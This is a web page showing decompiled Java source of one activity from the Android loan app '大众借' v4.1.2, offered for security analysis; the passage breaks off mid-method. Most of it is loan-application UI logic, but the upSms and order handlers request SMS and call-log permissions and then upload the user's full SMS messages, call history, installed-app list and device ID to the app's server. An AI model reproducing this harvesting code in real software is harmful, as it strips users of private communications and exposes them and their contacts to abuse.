正在查看: 大众借. v4.1.2 应用的 W0ACT.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: 大众借. v4.1.2 应用的 W0ACT.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.shiliuj.ui.activitys;
import android.content.Context;
import android.content.Intent;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.widget.CheckBox;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import androidx.core.view.PointerIconCompat;
import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
import butterknife.BindView;
import butterknife.OnClick;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baseapp.AppActivityManager;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.utils.ToastUtil;
import com.base.commonlibrary.views.LoadingTip;
import com.base.commonlibrary.views.TitleLayout;
import com.google.gson.Gson;
import com.shiliuj.gzd.ContactsGetUtil;
import com.shiliuj.mjyp.BMAG01ACT;
import com.shiliuj.mjyp.app.api.Api;
import com.shiliuj.mjyp.app.api.Api2;
import com.shiliuj.mjyp.app.api.AppConfig;
import com.shiliuj.mjyp.app.base.BaseBindActivity;
import com.shiliuj.mjyp.app.base.RxSubscriber;
import com.shiliuj.mjyp.app.utils.AppUtils;
import com.shiliuj.ui.activitys.W0ACT;
import com.shiliuj.ui.bean.ApplyBean;
import com.shiliuj.ui.bean.BaseInfoForm;
import com.shiliuj.ui.bean.BindBankForm;
import com.shiliuj.ui.bean.BorrowOrderForm;
import com.shiliuj.ui.bean.ContactForm;
import com.shiliuj.ui.bean.DevSmsBean;
import com.shiliuj.ui.bean.EncForm;
import com.shiliuj.ui.bean.HomeAmountBean;
import com.shiliuj.ui.bean.MyInfoBean;
import com.shiliuj.ui.bean.OperatorBjForm;
import com.shiliuj.ui.bean.OperatorSdkForm;
import com.shiliuj.ui.bean.RegBean;
import com.shiliuj.ui.bean.UserStatusBean;
import com.shiliuj.ui.views.SureAndCancelDialog;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;
public class W0ACT extends BaseBindActivity {
public static final String TAG = BMAG01ACT.class.getSimpleName();
private int accountStatus;
@BindView(2131296328)
TextView address;
private String amount_apply;
private int authBankCardStatus;
private int authBaseInfoStatus;
private int authContactsStatus;
private int authOperatorStatus;
@BindView(2131296355)
ImageView bankLogo;
@BindView(2131296356)
TextView bankName;
private String bankName_apply;
@BindView(2131296357)
TextView bankNum;
private String bankNum_apply;
private BaseInfoForm baseInfoForm;
@BindView(2131296365)
TextView baseRight;
private Integer borrowFlag;
@BindView(2131296390)
TextView btnOk;
@BindView(2131296401)
TextView cardKind;
@BindView(2131296413)
TextView chexRight;
@BindView(2131296419)
TextView chooseAddress;
@BindView(2131296420)
TextView chooseWorkAddress;
@BindView(2131296423)
CheckBox ckXy;
@BindView(2131296494)
TextView edit;
@BindView(2131296531)
TextView friendName;
@BindView(2131296532)
TextView friendNum;
@BindView(2131296539)
TextView gjjRight;
@BindView(2131296558)
TextView homeName;
@BindView(2131296559)
TextView homeNum;
@BindView(2131296566)
TextView idNo;
private String idNum;
@BindView(2131296567)
TextView idRight;
@BindView(2131296569)
TextView idnoTip;
@BindView(2131296573)
ImageView imId;
private MyInfoBean infoBean;
private boolean isFromMeFlag;
@BindView(2131296589)
ImageView ivBank;
@BindView(2131296631)
RelativeLayout llAddress;
@BindView(2131296633)
LinearLayout llBankCard;
@BindView(2131296634)
LinearLayout llBaseContent;
@BindView(2131296635)
LinearLayout llBaseInfo;
@BindView(2131296640)
LinearLayout llChex;
@BindView(2131296645)
LinearLayout llFriend;
@BindView(2131296646)
LinearLayout llGjj;
@BindView(2131296647)
LinearLayout llHome;
@BindView(2131296649)
LinearLayout llLxrContent;
@BindView(2131296650)
LinearLayout llLxrPhone;
@BindView(2131296654)
LinearLayout llPhone;
@BindView(2131296656)
LinearLayout llShebao;
@BindView(2131296657)
LinearLayout llSimSq;
@BindView(2131296661)
LinearLayout llTs;
@BindView(2131296663)
LinearLayout llWord;
@BindView(2131296664)
RelativeLayout llWorkAddress;
private String loanPeriod;
@BindView(2131296677)
TextView lxrRight;
@BindView(2131296734)
TextView name;
@BindView(2131296735)
TextView nameTip;
private ContactForm o;
private String operatorStatus;
@BindView(2131296776)
TextView phone;
private String realName;
@BindView(2131296815)
RelativeLayout rlAllTe;
@BindView(2131296816)
RelativeLayout rlBankContent;
@BindView(2131296832)
RelativeLayout rlIdCard;
@BindView(2131296888)
TextView shebaoRight;
@BindView(2131296895)
TextView simRight;
@BindView(2131296930)
SwipeRefreshLayout swipe;
@BindView(2131296971)
TextView tipAddress;
@BindView(2131296975)
TextView tipBase;
@BindView(2131296981)
TextView tipFriend;
@BindView(2131296984)
TextView tipHome;
@BindView(2131296988)
TextView tipLxr;
@BindView(2131296990)
TextView tipPhone;
@BindView(2131296992)
TextView tipSim;
@BindView(2131296994)
TextView tipTs;
@BindView(2131296996)
TextView tipWork;
@BindView(2131296997)
TextView tipWorkAddress;
@BindView(2131296998)
TitleLayout title;
@BindView(2131297029)
TextView tsName;
@BindView(2131297030)
TextView tsNum;
@BindView(2131297044)
TextView tvTip2;
@BindView(2131297048)
TextView tvYysTip;
@BindView(2131297067)
TextView work;
@BindView(2131297068)
TextView workAddress;
@BindView(2131297074)
TextView xy;
@BindView(2131297075)
TextView xy2;
private int authRealNameStatus = 0;
private Integer repEnfLoanFlag = 0;
private Integer enfLoanFlag = 0;
protected boolean canLoadMore() {
return false;
}
public int getLayoutId() {
return 2131492912;
}
public void initPresenter() {
}
protected void loadMore() {
}
protected void refresh() {
}
public void initView(Bundle bundle) {
if (getIntent().getExtras() != null) {
this.isFromMeFlag = getIntent().getExtras().getBoolean("isFromMeFlag", false);
}
this.loadTip.setOnReloadListener(new LoadingTip.onReloadListener() {
public void reload() {
W0ACT.this.loadData(true);
}
});
this.title.setRightButton(getResources().getString(2131689958), new View.OnClickListener() {
@Override
public void onClick(View view) {
W0ACT.this.loadData(true);
}
});
this.swipe.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
@Override
public void onRefresh() {
W0ACT.this.loadData(false);
}
});
}
public void loadData(boolean z) {
this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<MyInfoBean>(this.mContext, z) {
public void _onNext(MyInfoBean myInfoBean) {
if (myInfoBean != null) {
W0ACT.this.setView(myInfoBean);
}
W0ACT.this.stopLoading();
W0ACT.this.swipe.setRefreshing(false);
}
protected void _onError(String str) {
W0ACT.this.swipe.setRefreshing(false);
W0ACT.this.showToast("获取网络信息失败,请切换网络后杀掉app进程后重试");
}
}));
this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<HomeAmountBean>(this.mContext, z) {
protected void _onError(String str) {
}
public void _onNext(HomeAmountBean homeAmountBean) {
if (homeAmountBean != null) {
W0ACT.this.borrowFlag = homeAmountBean.getBorrowFlag();
W0ACT.this.enfLoanFlag = homeAmountBean.getEnfLoanFlag();
W0ACT.this.repEnfLoanFlag = homeAmountBean.getRepEnfLoanFlag();
if (homeAmountBean.getAccountStatus() == 2) {
W0ACT.this.setSuccessView();
} else {
W0ACT.this.btnOk.setText(W0ACT.this.getResources().getString(2131689545));
}
if (W0ACT.this.enfLoanFlag.intValue() == 1) {
W0ACT.this.btnOk.setText(W0ACT.this.getResources().getString(2131689884));
}
}
}
}));
}
public void applyAccount() {
this.mRxManager.add(Api.getDefault().applyAccount().compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT w0act = W0ACT.this;
w0act.showShortToast(w0act.getResources().getString(2131689893));
W0ACT.this.mRxManager.post("Status", "登录");
W0ACT.this.loadData(false);
W0ACT.this.setSuccessView();
return;
}
W0ACT.this.showShortToast(baseResult.getMessage());
}
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
public void setSuccessView() {
if (!this.isFromMeFlag) {
this.baseRight.setVisibility(8);
this.lxrRight.setVisibility(8);
}
this.baseRight.setVisibility(8);
this.lxrRight.setVisibility(8);
if (this.enfLoanFlag.intValue() == 0) {
this.btnOk.setText(getResources().getString(2131689538));
} else {
this.btnOk.setText(getResources().getString(2131689884));
}
}
public void setView(MyInfoBean myInfoBean) {
this.infoBean = myInfoBean;
this.authRealNameStatus = myInfoBean.getAuthRealNameStatus();
int accountStatus = myInfoBean.getAccountStatus();
this.accountStatus = accountStatus;
this.authContactsStatus = myInfoBean.getAuthContactsStatus();
this.authBankCardStatus = myInfoBean.getAuthBankCardStatus();
this.authBaseInfoStatus = myInfoBean.getAuthBaseInfoStatus();
this.authOperatorStatus = myInfoBean.getAuthOperatorStatus();
if (this.authBaseInfoStatus == 1) {
String address = myInfoBean.getAddress();
String companyAddress = myInfoBean.getCompanyAddress();
String companyName = myInfoBean.getCompanyName();
String companyTel = myInfoBean.getCompanyTel();
String companyProvinceId = myInfoBean.getCompanyProvinceId();
String companyCityId = myInfoBean.getCompanyCityId();
String companyDistrictId = myInfoBean.getCompanyDistrictId();
String provinceId = myInfoBean.getProvinceId();
String cityId = myInfoBean.getCityId();
String districtId = myInfoBean.getDistrictId();
this.baseInfoForm = new BaseInfoForm(provinceId, cityId, districtId, address, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, companyAddress);
setBaseInfo(address, companyAddress, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, provinceId, cityId, districtId);
} else {
this.baseRight.setBackground(ContextCompat.getDrawable(this.mContext, 2131230962));
this.baseRight.setText(getResources().getString(2131689759));
}
if (this.authRealNameStatus == 1) {
this.idNum = myInfoBean.getIdCard();
this.realName = myInfoBean.getRealName();
setIdCard();
}
if (this.authContactsStatus == 1) {
List list = myInfoBean.getList();
this.o = new ContactForm();
ArrayList arrayList = new ArrayList();
for (int i = 0; i < list.size(); i++) {
arrayList.add(new ContactForm.ListBean(((MyInfoBean.ListBean) list.get(i)).getName(), ((MyInfoBean.ListBean) list.get(i)).getRelation(), ((MyInfoBean.ListBean) list.get(i)).getTel()));
}
this.o.setList(arrayList);
setLxr(arrayList);
} else {
this.lxrRight.setBackground(ContextCompat.getDrawable(this.mContext, 2131230962));
this.lxrRight.setText(getResources().getString(2131689759));
}
if (this.authBankCardStatus == 1) {
setBankInfo(myInfoBean.getImgUrl(), myInfoBean.getBankNum(), myInfoBean.getBankName());
} else {
this.llBankCard.setVisibility(0);
this.rlBankContent.setVisibility(8);
}
int atTestStatus = myInfoBean.getAtTestStatus();
if (accountStatus == 0 || accountStatus == 1) {
int i2 = this.authOperatorStatus;
if (i2 == 1) {
hadTaobaoSq(this.simRight, getResources().getString(2131689766), 2131099703, null);
} else if (i2 == 2) {
hadTaobaoSq(this.simRight, getResources().getString(2131689553), 2131099900, null);
} else if (i2 == 3) {
hadTaobaoSq(this.simRight, getResources().getString(2131689878), 2131099900, null);
} else {
hadTaobaoSq(this.simRight, getResources().getString(2131690129), 2131099703, ContextCompat.getDrawable(this.mContext, 2131230962));
}
} else if (atTestStatus == 0) {
hadTaobaoSq(this.simRight, getResources().getString(2131690129), 2131099703, ContextCompat.getDrawable(this.mContext, 2131230962));
} else {
hadTaobaoSq(this.simRight, getResources().getString(2131689766), 2131099703, null);
}
if (accountStatus == 2) {
setSuccessView();
} else {
this.btnOk.setText(getResources().getString(2131689545));
}
if (this.enfLoanFlag.intValue() == 1) {
this.btnOk.setText(getResources().getString(2131689884));
}
String operatorStatus = myInfoBean.getOperatorStatus();
this.operatorStatus = operatorStatus;
if (this.isFromMeFlag) {
this.tvYysTip.setVisibility(8);
if (this.operatorStatus.equals("0") || this.operatorStatus.equals("1") || this.operatorStatus.equals("3")) {
this.llSimSq.setVisibility(0);
if (atTestStatus == 0) {
hadTaobaoSq(this.simRight, getResources().getString(2131690129), 2131099703, ContextCompat.getDrawable(this.mContext, 2131230962));
return;
} else if (atTestStatus == 1) {
hadTaobaoSq(this.simRight, getResources().getString(2131689766), 2131099703, null);
return;
} else {
hadTaobaoSq(this.simRight, getResources().getString(2131689553), 2131099900, null);
return;
}
}
this.llSimSq.setVisibility(8);
return;
}
if (operatorStatus.equals("0")) {
this.tvYysTip.setVisibility(8);
this.llSimSq.setVisibility(0);
} else if (this.operatorStatus.equals("1")) {
this.tvYysTip.setVisibility(0);
this.llSimSq.setVisibility(0);
} else if (this.operatorStatus.equals("2") || this.operatorStatus.equals("3")) {
this.llSimSq.setVisibility(8);
}
}
private void setBankInfo(java.lang.String r7, java.lang.String r8, java.lang.String r9) {
throw new UnsupportedOperationException("Method not decompiled: com.shiliuj.ui.activitys.W0ACT.setBankInfo(java.lang.String, java.lang.String, java.lang.String):void");
}
public void hadTaobaoSq(TextView textView, String str, int i, Drawable drawable) {
textView.setText(str);
textView.setTextColor(ContextCompat.getColor(this.mContext, i));
textView.setBackground(drawable);
}
@OnClick({2131297074, 2131297075, 2131296403, 2131296365, 2131296649, 2131296677, 2131296567, 2131296494, 2131296390, 2131296895, 2131296413, 2131296539, 2131296888})
protected void onClick(View view) {
Bundle bundle = new Bundle();
switch (view.getId()) {
case 2131296365:
if (this.authBankCardStatus == 1) {
if (isCanEd(this.baseRight)) {
bundle.putSerializable("baseInfo", this.baseInfoForm);
startActivityForResult(MTH0ACT.class, bundle, PointerIconCompat.TYPE_CONTEXT_MENU);
break;
} else {
startActivityForResult(MTH0ACT.class, PointerIconCompat.TYPE_CONTEXT_MENU);
break;
}
} else {
showShortToast(getResources().getString(2131689929));
break;
}
case 2131296390:
if (this.authRealNameStatus == 1) {
if (this.ckXy.isChecked()) {
goOpen();
break;
} else {
showShortToast(getResources().getString(2131689927));
break;
}
} else {
showShortToast(getResources().getString(2131689933));
break;
}
case 2131296403:
case 2131296494:
if (this.authRealNameStatus == 1) {
startActivityForResult(MTG0ACT.class, 1000);
break;
} else {
showShortToast(getResources().getString(2131689933));
break;
}
case 2131296567:
startActivity(IdCardActivity.class);
break;
case 2131296649:
case 2131296677:
if (this.authBankCardStatus != 1) {
showShortToast(getResources().getString(2131689929));
break;
} else if (isCanEd(this.lxrRight)) {
bundle.putSerializable("contact", this.o);
startActivityForResult(I0ACT.class, bundle, PointerIconCompat.TYPE_HAND);
break;
} else {
upSms();
break;
}
case 2131296895:
goToOperate();
break;
case 2131297074:
bundle.putString("title", "");
bundle.putString("url", SPUtils.getData("baseH5", "") + "?info=" + SPUtils.getData("USERCODE", ""));
startActivity(MT10ACT.class, bundle);
break;
case 2131297075:
bundle.putString("title", "");
bundle.putString("url", SPUtils.getData("baseH5", "") + "?info=" + SPUtils.getData("USERCODE", ""));
startActivity(MT10ACT.class, bundle);
break;
}
}
private void goToOperate() {
if (this.authOperatorStatus == 3) {
return;
}
if (this.authContactsStatus == 1) {
if (isaBooleanSdk(this.simRight)) {
getOperatorType();
return;
} else if (this.simRight.getText().toString().contains(getResources().getString(2131689958))) {
loadData(true);
return;
} else {
showShortToast(getResources().getString(2131689765));
return;
}
}
showShortToast(getResources().getString(2131689930));
}
public void upSms() {
permissionRequest(getString(2131689914), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new AnonymousClass7());
}
class AnonymousClass7 implements IPermissionResultListener {
public void onPermissionFaild() {
}
AnonymousClass7() {
}
public void onPermissionSuccess() {
SPUtils.putData("latitude", "中国");
SPUtils.putData("longitude", "中国");
SPUtils.putData("address", "中国");
W0ACT.this.startProgressDialog();
W0ACT.this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
public final void call(Object obj) {
W0ACT.AnonymousClass7.this.lambda$onPermissionSuccess$0$W0ACT$7((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
public void onCompleted() {
W0ACT.this.stopProgressDialog();
}
public void onError(Throwable th) {
W0ACT.this.stopProgressDialog();
}
public void onNext(DevSmsBean devSmsBean) {
W0ACT.this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(W0ACT.this.mContext, true, false) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT.this.startActivityForResult(I0ACT.class, PointerIconCompat.TYPE_HAND);
} else {
W0ACT.this.showShortToast(baseResult.getMessage());
}
}
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
}));
}
public void lambda$onPermissionSuccess$0$W0ACT$7(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List smsInPhone = ContactsGetUtil.getSmsInPhone(W0ACT.this.mContext);
devSmsBean.setSmsList(smsInPhone);
List scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(W0ACT.this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(W0ACT.this.mContext));
String deviceID = ApplicationUtil.getDeviceID(W0ACT.this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData("address", "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
}
private void getOperatorType() {
this.mRxManager.add(Api.getDefault().getOperatorType().compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true) {
public void _onNext(BaseResult baseResult) {
if (baseResult != null) {
if (baseResult.getCode() == 200) {
String obj = baseResult.getResult().toString();
char c = 65535;
switch (obj.hashCode()) {
case 49:
if (obj.equals("1")) {
c = 0;
break;
}
break;
case 50:
if (obj.equals("2")) {
c = 1;
break;
}
break;
case 51:
if (obj.equals("3")) {
c = 2;
break;
}
break;
case 52:
if (obj.equals("4")) {
c = 3;
break;
}
break;
case 53:
if (obj.equals("5")) {
c = 4;
break;
}
break;
}
if (c == 0) {
W0ACT.this.applyBJOrdero("1");
return;
}
if (c == 1) {
W0ACT.this.applyBJOrdero("2");
return;
} else if (c == 3) {
W0ACT.this.applyBJOrdero("4");
return;
} else {
if (c != 4) {
return;
}
W0ACT.this.applyBJOrdero("5");
return;
}
}
W0ACT.this.showShortToast(baseResult.getMessage());
}
}
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
private void applySdkOrder(String str) {
this.mRxManager.add(Api.getDefault().operatorSdk(new OperatorSdkForm(str, (String) SPUtils.getData("address", "中国"), (String) SPUtils.getData("latitude", ""), ApplicationUtil.getAPPVersion(this.mContext), (String) SPUtils.getData("longitude", ""), Constant.SDK_OS)).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true) {
public void _onNext(BaseResult baseResult) {
W0ACT.this.showShortToast(baseResult.getMessage());
W0ACT.this.loadData(true);
}
protected void _onError(String str2) {
W0ACT.this.showShortToast(str2);
}
}));
}
public void applyBJOrdero(final String str) {
permissionRequest(getString(2131689914), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, 100, new IPermissionResultListener() {
public void onPermissionFaild() {
}
public void onPermissionSuccess() {
SPUtils.putData("latitude", "中国");
SPUtils.putData("longitude", "中国");
if (TextUtils.isEmpty("中国")) {
SPUtils.putData("address", "中国");
} else {
SPUtils.putData("address", "中国");
}
String aPPVersion = ApplicationUtil.getAPPVersion(W0ACT.this.mContext);
if ("1".equals(str) || "5".equals(str)) {
W0ACT.this.operatorBj((String) SPUtils.getData("address", "中国"), (String) SPUtils.getData("latitude", "0.0"), aPPVersion, (String) SPUtils.getData("longitude", "0.0"), Constant.SDK_OS);
} else if ("2".equals(str)) {
W0ACT.this.operatorMh((String) SPUtils.getData("address", "中国"), (String) SPUtils.getData("latitude", "0.0"), aPPVersion, (String) SPUtils.getData("longitude", "0.0"), Constant.SDK_OS);
} else {
W0ACT.this.applyCaoPanShouOrdero((String) SPUtils.getData("address", "中国"), (String) SPUtils.getData("latitude", "0.0"), aPPVersion, (String) SPUtils.getData("longitude", "0.0"), Constant.SDK_OS);
}
}
});
}
public void applyCaoPanShouOrdero(String str, String str2, String str3, String str4, String str5) {
this.mRxManager.add(Api.getDefault().operatorCps(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getResult() != null) {
String obj = baseResult.getResult().toString();
Bundle bundle = new Bundle();
bundle.putString("title", W0ACT.this.getResources().getString(2131689898));
bundle.putString("url", obj);
W0ACT.this.startActivity(MT10ACT.class, bundle);
}
}
protected void _onError(String str6) {
W0ACT.this.showShortToast(str6);
}
}));
}
public void operatorBj(String str, String str2, String str3, String str4, String str5) {
this.mRxManager.add(Api.getDefault().operatorBj(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getResult().equals("1")) {
W0ACT w0act = W0ACT.this;
w0act.hadTaobaoSq(w0act.simRight, W0ACT.this.getResources().getString(2131689766), 2131099703, null);
W0ACT.this.loadData(false);
new ToastUtil().showShort(W0ACT.this.mContext, baseResult.getMessage());
return;
}
if (baseResult.getResult().equals("-1")) {
W0ACT.this.loadData(false);
new ToastUtil().showShort(W0ACT.this.mContext, baseResult.getMessage());
} else if (baseResult.getResult() != null) {
String obj = baseResult.getResult().toString();
Bundle bundle = new Bundle();
bundle.putString("title", W0ACT.this.getResources().getString(2131689898));
bundle.putString("url", obj);
W0ACT.this.startActivity(MT10ACT.class, bundle);
}
}
protected void _onError(String str6) {
W0ACT.this.showShortToast(str6);
}
}));
}
public void operatorMh(String str, String str2, String str3, String str4, String str5) {
this.mRxManager.add(Api.getDefault().operatorMh(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getResult() != null) {
String obj = baseResult.getResult().toString();
Bundle bundle = new Bundle();
bundle.putString("title", W0ACT.this.getResources().getString(2131689898));
bundle.putString("url", obj);
W0ACT.this.startActivity(MT10ACT.class, bundle);
}
}
protected void _onError(String str6) {
W0ACT.this.showShortToast(str6);
}
}));
}
private boolean isCanEd(TextView textView) {
return textView.getText().toString().equals(getResources().getString(2131689820)) && this.baseInfoForm != null;
}
private void goOpen() {
if (this.authContactsStatus != 1) {
showShortToast(getResources().getString(2131689609));
return;
}
if (this.authBankCardStatus != 1) {
showShortToast(getResources().getString(2131689560));
return;
}
if (this.accountStatus != 2) {
applyAccount();
return;
}
if (this.btnOk.getText().toString().equals(getResources().getString(2131689545))) {
final SureAndCancelDialog sureAndCancelDialog = new SureAndCancelDialog(this.mContext, 2131492961);
((TextView) sureAndCancelDialog.getView(2131296444)).setText(getResources().getString(2131690116));
sureAndCancelDialog.setOnClickCancel(new SureAndCancelDialog.onClickCancel() {
public void onClickCancel() {
sureAndCancelDialog.dismiss();
}
});
sureAndCancelDialog.setOnClickSure(new SureAndCancelDialog.onClickSure() {
public void onClickSure() {
W0ACT.this.applyAccount();
sureAndCancelDialog.dismiss();
}
});
sureAndCancelDialog.show();
return;
}
Integer num = this.borrowFlag;
if (num != null && num.intValue() == 1) {
AppActivityManager.getAppManager().getActivity(BMAG01ACT.class).onCheckPosition(1);
AppActivityManager.getAppManager().returnToActivity(BMAG01ACT.class);
} else {
checkUserStatus();
}
}
private void checkUserStatus() {
if (AppUtils.INSTANCE.getIsLogin()) {
this.mRxManager.add(Api.getDefault().checkUserStatus().compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<UserStatusBean>(this.mContext, true) {
public void _onNext(UserStatusBean userStatusBean) {
int code = userStatusBean.getCode();
String message = userStatusBean.getMessage();
Bundle bundle = new Bundle();
if (code == 200) {
if (W0ACT.this.enfLoanFlag.intValue() == 1) {
W0ACT.this.apply();
return;
} else {
W0ACT.this.startActivity(MT0Act.class);
return;
}
}
if (code == 2021) {
AppActivityManager.getAppManager().getActivity(BMAG01ACT.class).onCheckPosition(1);
AppActivityManager.getAppManager().returnToActivity(BMAG01ACT.class);
W0ACT.this.finish();
return;
}
if (code == 3002) {
final SureAndCancelDialog sureAndCancelDialog = new SureAndCancelDialog(W0ACT.this.mContext, 2131492952);
sureAndCancelDialog.setOnClickSure(new SureAndCancelDialog.onClickSure() {
public void onClickSure() {
sureAndCancelDialog.dismiss();
}
});
sureAndCancelDialog.show();
return;
}
if (code != 2000 && code != 2001) {
switch (code) {
case 2042:
case 2043:
case 2044:
break;
default:
W0ACT.this.showShortToast(message);
break;
}
return;
}
bundle.putString("ORDERID", userStatusBean.getResult());
bundle.putInt(AppConfig.EnfLoanFlag, W0ACT.this.enfLoanFlag.intValue());
bundle.putInt("REEnfLoanFlag", W0ACT.this.repEnfLoanFlag.intValue());
W0ACT.this.startActivity(N0ACT.class, bundle);
}
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
}
private void checkStatus() {
if (AppUtils.INSTANCE.getIsLogin()) {
this.mRxManager.add(Api.getDefault().checkUserStatus().compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<UserStatusBean>(this.mContext, true) {
protected void _onError(String str) {
}
public void _onNext(UserStatusBean userStatusBean) {
int code = userStatusBean.getCode();
if (code == 200 || code == 2021 || code == 3002 || code == 2000 || code == 2001) {
return;
}
switch (code) {
case 2042:
case 2043:
case 2044:
break;
default:
W0ACT.this.showShortToast(userStatusBean.getMessage());
break;
}
}
}));
}
}
private boolean isaBooleanSdk(TextView textView) {
return textView.getText().toString().equals(getResources().getString(2131690129)) || textView.getText().toString().contains(getResources().getString(2131689552));
}
private void setLxr(List<ContactForm.ListBean> list) {
this.tipLxr.setTextColor(ContextCompat.getColor(this.mContext, 2131099794));
for (int i = 0; i < list.size(); i++) {
ContactForm.ListBean listBean = list.get(i);
String name = listBean.getName();
String tel = listBean.getTel();
String relation = listBean.getRelation();
char c = 65535;
int hashCode = relation.hashCode();
if (hashCode != 687103) {
if (hashCode != 747972) {
if (hashCode == 839200 && relation.equals("朋友")) {
c = 2;
}
} else if (relation.equals("家人")) {
c = 1;
}
} else if (relation.equals("同事")) {
c = 0;
}
if (c == 0) {
this.tsName.setText(name);
this.tsNum.setText(tel);
} else if (c == 1) {
this.homeName.setText(name);
this.homeNum.setText(tel);
} else if (c == 2) {
this.friendName.setText(name);
this.friendNum.setText(tel);
}
}
this.lxrRight.setBackground(null);
this.lxrRight.setText(getResources().getString(2131689820));
}
private void setIdCard() {
try {
String substring = this.idNum.substring(0, 3);
String substring2 = this.idNum.substring(this.idNum.length() - 4);
this.idNo.setText(substring + "********" + substring2);
this.name.setText(this.realName.replaceAll(this.realName.substring(1), "*"));
this.imId.setImageResource(2131558414);
this.idRight.setVisibility(8);
} catch (Exception e) {
e.printStackTrace();
}
}
private void setBaseInfo(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, String str9, String str10) {
this.address.setText(str);
this.workAddress.setText(str2);
this.chooseAddress.setText(str8 + "-" + str9 + "-" + str10);
this.chooseWorkAddress.setText(str5 + "-" + str6 + "-" + str7);
this.work.setText(str3);
this.phone.setText(str4);
this.baseRight.setBackground(null);
this.baseRight.setText(getResources().getString(2131689820));
}
protected void onResume() {
super.onResume();
loadData(false);
}
public void order() {
permissionRequest(getString(2131689914), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new AnonymousClass18());
}
class AnonymousClass18 implements IPermissionResultListener {
public void onPermissionFaild() {
}
AnonymousClass18() {
}
public void onPermissionSuccess() {
SPUtils.putData("latitude", "中国");
SPUtils.putData("longitude", "中国");
SPUtils.putData("address", "中国");
W0ACT.this.startProgressDialog();
W0ACT.this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
public final void call(Object obj) {
W0ACT.AnonymousClass18.this.lambda$onPermissionSuccess$0$W0ACT$18((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
public void onCompleted() {
W0ACT.this.stopProgressDialog();
}
public void onError(Throwable th) {
W0ACT.this.stopProgressDialog();
}
public void onNext(DevSmsBean devSmsBean) {
W0ACT.this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(W0ACT.this.mContext, true, false) {
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT.this.borrowOrder();
} else {
